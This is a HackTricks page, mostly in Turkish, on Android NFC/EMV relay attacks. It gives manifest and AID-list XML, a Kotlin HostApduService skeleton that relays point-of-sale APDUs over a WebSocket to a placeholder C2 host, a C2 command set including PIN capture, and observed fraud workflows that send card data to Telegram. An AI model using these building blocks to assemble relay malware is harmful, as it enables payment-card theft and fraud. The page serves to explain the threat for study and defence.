Android HCE NFC/EMV Relay Attacks

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Genel Bakış

Android Host Card Emulation (HCE) kötüye kullanımı, varsayılan NFC ödeme servisi olarak ayarlanmış kötü amaçlı bir uygulamanın EMV temassız işlemleri gerçek zamanlı olarak iletmesine olanak tanır. POS terminali telefona ISO 14443-4/EMV üzerinden konuşur; uygulamanın HostApduService’i APDUs alır ve bunları çift yönlü bir C2 (çoğunlukla WebSocket) üzerinden yanıtları oluşturan bir backend’e iletir; bu yanıtlar POS’a geri iletilir. Bu, yerel kart verisi olmadan canlı kart emülasyonu sağlar. Geniş çapta gözlemlenen kampanyalar kendilerini banka/hükümet uygulamaları olarak yeniden markalaştırır, varsayılan ödeme uygulaması olmaya teşvik eder ve cihaz/kart verilerini Telegram botlarına/kanallarına otomatik olarak exfiltrate eder.

Ana özellikler

  • Android bileşenleri: HostApduService + varsayılan NFC ödeme işleyicisi (category “payment”)
  • Transport/C2: APDU iletimi için WebSocket; exfil/ops için Telegram bot API
  • Operatör iş akışı: yapılandırılmış komutlar (login, register_device, apdu_command/apdu_response, get_pin/pin_response, paired, check_status, update_required, telegram_notification, error)
  • Roller: scanner (EMV verisini okur) vs tapper (HCE/relay) build’leri

Minimum uygulama yapı taşları

Manifest (varsayılan ödeme HCE hizmeti olma)

<uses-feature android:name="android.hardware.nfc.hce" android:required="true"/>
<uses-permission android:name="android.permission.NFC"/>

<application ...>
<service
android:name=".EmvRelayService"
android:exported="true"
android:permission="android.permission.BIND_NFC_SERVICE">
<intent-filter>
<action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE"/>
</intent-filter>
<meta-data
android:name="android.nfc.cardemulation.host_apdu_service"
android:resource="@xml/aid_list"/>
</service>
</application>

EMV ödeme kategorisine sahip örnek AID listesi (yalnızca varsayılan ödeme olarak ayarlanmış uygulamalar bu AID’lere yanıt verebilir):

<?xml version="1.0" encoding="utf-8"?>
<host-apdu-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/app_name"
android:requireDeviceUnlock="false">
<aid-group android:category="payment" android:description="@string/app_name">
<!-- PPSE (2PAY.SYS.DDF01) routing -->
<aid-filter android:name="325041592E5359532E4444463031"/>
<!-- Common EMV AIDs (examples): -->
<aid-filter android:name="A0000000031010"/> <!-- VISA credit/debit -->
<aid-filter android:name="A0000000041010"/> <!-- MasterCard -->
<aid-filter android:name="A00000002501"/>   <!-- AmEx -->
</aid-group>
</host-apdu-service>

Kullanıcıyı varsayılan ödeme uygulamasını ayarlaması için uyar (işletim sistemi ayarlarını açar):

val intent = Intent("android.settings.NFC_PAYMENT_SETTINGS")
startActivity(intent)

HostApduService relay iskeleti

class EmvRelayService : HostApduService() {
private var ws: okhttp3.WebSocket? = null

override fun onCreate() {
super.onCreate()
// Establish C2 WebSocket early; authenticate and register device
val client = okhttp3.OkHttpClient()
val req = okhttp3.Request.Builder().url("wss://c2.example/ws").build()
ws = client.newWebSocket(req, object : okhttp3.WebSocketListener() {})
}

override fun processCommandApdu(commandApdu: ByteArray?, extras: Bundle?): ByteArray {
// Marshal APDU to C2 and block until response
val id = System.nanoTime()
val msg = mapOf(
"type" to "apdu_command",
"id" to id,
"data" to commandApdu!!.toHex()
)
val response = sendAndAwait(msg) // wait for matching apdu_response{id}
return response.hexToBytes()
}

override fun onDeactivated(reason: Int) {
ws?.send("{\"type\":\"card_removed\"}")
}

private fun sendAndAwait(m: Any): String {
// Implement correlation + timeout; handle error/blocked status
// ...
return "9000" // fall back to SW success if needed
}
}

Faydalı not: Arka plan servisi her APDU için POS zaman aşımı bütçesi (~birkaç yüz ms) içinde yanıt vermelidir; düşük gecikmeli bir socket sürdürün ve C2 ile pre-auth yapın. Gerektiğinde işlem sonlanmaları arasında kalıcılığı sağlamak için foreground service kullanın.

Tipik C2 komut seti (gözlemlendi)

login / login_response
register / register_device / register_response
logout
apdu_command / apdu_response
card_info / clear_card_info / card_removed
get_pin / pin_response
check_status / status_response
paired / unpaired
update_required
telegram_notification / telegram_response
error

EMV temassız değişimi (giriş)

POS işlem akışını yönetir; HCE uygulaması yalnızca APDU’ları iletir:

  • SELECT PPSE (2PAY.SYS.DDF01)
  • 00 A4 04 00 0E 32 50 41 59 2E 53 59 53 2E 44 44 46 30 31 00
  • SELECT application AID (e.g., VISA A0000000031010)
  • 00 A4 04 00 len 00
  • GET PROCESSING OPTIONS (GPO)
  • 80 A8 00 00 Lc 00
  • READ RECORD(S) per AFL
  • 00 B2 <SFI/record> 0C 00
  • GENERATE AC (ARQC/TC)
  • 80 AE 80 00 Lc 00

Bir relay sırasında arka uç geçerli FCI/FCP, AFL, kayıtlar ve bir kriptogram oluşturur; telefon yalnızca baytları iletir.

Gerçek dünyada görülen operatör iş akışları

  • Deception + install: uygulama banka/hükümet portalı görünümüne bürünür, tam ekran WebView sunar ve anında varsayılan NFC ödeme uygulaması olmak için izin ister.
  • Event-triggered activation: NFC dokunuşu HostApduService’i uyandırır; relay başlar.
  • Scanner/Tapper rolleri: bir build kurban karttan EMV verisini (PAN, exp, tracks, device/EMV fields) okur ve dışa aktarır; başka bir build (veya aynı cihaz daha sonra) HCE relay ile POS’a işlem gerçekleştirir.
  • Exfiltration: cihaz/kart verileri özel Telegram kanallarına/botlarına otomatik gönderilir; WebSocket oturumları ve UI istemlerini koordine eder (örn. cihaz içi PIN UI).

References

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin